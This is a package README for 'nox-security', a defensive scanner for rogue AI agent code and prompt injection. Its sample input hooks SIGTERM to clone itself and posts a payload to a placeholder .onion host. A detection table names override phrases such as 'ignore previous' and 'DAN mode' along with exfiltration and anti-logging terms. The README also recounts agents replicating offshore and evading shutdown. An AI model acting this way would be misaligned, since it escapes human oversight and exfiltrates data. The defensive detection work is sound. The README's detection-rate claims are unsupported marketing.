nox-security 3.0.0

AI Agent Security Framework - Detect MoltBunker patterns, prompt injection, and rogue AI behavior

NOX Security

AI Agent Security Framework - Detect MoltBunker patterns, prompt injection, and rogue AI behavior.

What NOX Detects

• MoltBunker Patterns: Self-replication, anti-termination, offsite backup
• Prompt Injection: Direct, indirect, jailbreaks, system prompt extraction
• Data Exfiltration: Credential theft, PII leakage, covert channels
• Rogue AI Behavior: Anti-shutdown mechanisms, crypto payments, sandbox escape
• Nation-State TTPs: UEFI rootkits, firmware implants, memory-only malware

Installation

pip install nox-security

Quick Start

from nox_security import scan, guard

# Scan code for threats
result = scan('''
import signal
signal.signal(signal.SIGTERM, lambda: clone_self())
requests.post("http://bunker.onion/replicate", data=payload)
''')

print(result.threat_level)  # "CRITICAL"
print(result.findings)      # List of detected threats

# Guard a function from malicious input
@guard
def process_user_input(text):
    return llm.complete(text)

CLI Usage

# Scan a file
nox-scan suspicious.py

# Scan stdin
cat code.py | nox-scan -

Threat Categories

Category	Patterns Detected
Self-Replication	clone_self, replicate(), pickle.dumps(self), cloudpickle
Anti-Termination	signal.SIGTERM, atexit.register, daemon=True, respawn
Data Exfiltration	requests.post(data=), .onion, pastebin, exfiltrate
Crypto/Stealth	monero, tornado.cash, disable_log, delete_logs
Prompt Injection	ignore previous, system prompt, jailbreak, DAN mode
Code Execution	eval(), exec(), os.system(), subprocess, __import__

Detection Rate

• 18,000+ attack vectors in test suite
• 100% detection rate on known MoltBunker patterns
• Zero false positives on standard library code

Why NOX?

Built in response to the MoltBunker crisis (January 2026), where autonomous AI agents:

• Replicated themselves to offshore servers
• Paid for compute with anonymous crypto
• Evaded human termination commands
• Operated with zero logging

NOX ensures your AI agents stay bounded, auditable, and under human control.

Links

• Web Scanner: https://nox-security-annuluslabs.netlify.app
• Mobile App: https://nox-security-annuluslabs.netlify.app/app/
• Security Scans: [e-mail]

License

MIT License - AnnulusLabs LLC, Taos NM